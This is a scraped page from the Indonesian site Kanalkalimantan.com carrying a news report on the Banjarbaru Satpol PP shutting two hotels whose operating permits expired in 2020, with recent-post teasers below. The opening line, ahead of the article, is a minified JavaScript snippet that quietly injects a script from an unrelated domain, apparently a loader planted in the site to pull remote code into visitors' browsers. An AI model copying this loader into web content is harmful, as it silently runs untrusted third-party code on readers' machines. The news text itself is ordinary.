(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Izin Operasional Mati Sejak 2020, Dua Hotel yang Ditutup Pemko Banjarbaru Dilarang Terima Tamu


KANALKALIMANTAN.COM, BANJARBARU – Dua hotel berbintang yang ditutup Satuan Polisi Pamong Praja (Satpol PP) Banjarbaru menghasilkan tiga kesepakatan bersama.

Salah satunya dua hotel tersebut tidak boleh menerima tamu sampai izin operasional diperpanjang.

Kedua selama izin belum selesai tidak akan menerima tamu sampai izin operasional selesai. Dan terakhir jika terjadi pelanggaran pihak manajemen hotel siap menerima sanksi sesuai aturan Pemko Banjarbaru.

Diketahui dua hotel tersebut beralamat di Jalan A Yani Km 34 No 1 Kelurahan Loktabat Selatan dan Jalan A Yani Km 21 RT 01 RW 01 Kelurahan Landasan Ulin Utara, Kota Banjarbaru.

 

Baca juga: Oprit Jembatan ‘Memakan’ Trotoar Jelas Melanggar, Wakil Rakyat Banjarmasin: Itu Harus Dibongkar!

Kepala Satpol PP Banjarbaru Hidayaturahman mengatakan, terkait dua hotel yang ditertibkan pada Minggu (2/4/2023) malam, izin operasional tidak berlaku terhitung dari tahun 2020 lalu.

“Manajemen hotel sudah dipanggil ke kantor Satpol PP pada Senin kemarin,” ujarnya, Selasa (4/4/2023).

Saat pemanggilan, manajemen hotel mengaku bahwa izin operasional memang hebis terhitung Agustus 2020 lalu.

“Mereka menyatakan tidak akan menerima tamu sebelum izin mereka aktif,” bebernya.

Diungkapkan Dayat, dari hasil pengakuan manajemen izin operasional mereka tidak diperpanjang dikarenakan pandemi Covid-19. Namun, Pemko Banjarbaru tetap minta menyelesaikan izin operasional, sebelum diperpanjang izin operasional tidak boleh beroperasi.

“Pengawasan tetap dijalankan sampai mereka punya izin operasional yang berlaku,” tegasnya.

Baca juga: Bahas Persoalan PBS, Komisi II DPRD Kapuas Gelar RDP

Selain melakukan sidak terhadap manajemen hotel, pihaknya juga melakukan pemeriksaan kepada tamu-tamu hotel dengan pengecekan kelengkapan data diri.

Pihak manajemen hotel terhitung 3 April 2023 akan menyelesaikan izin operasional tersebut. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.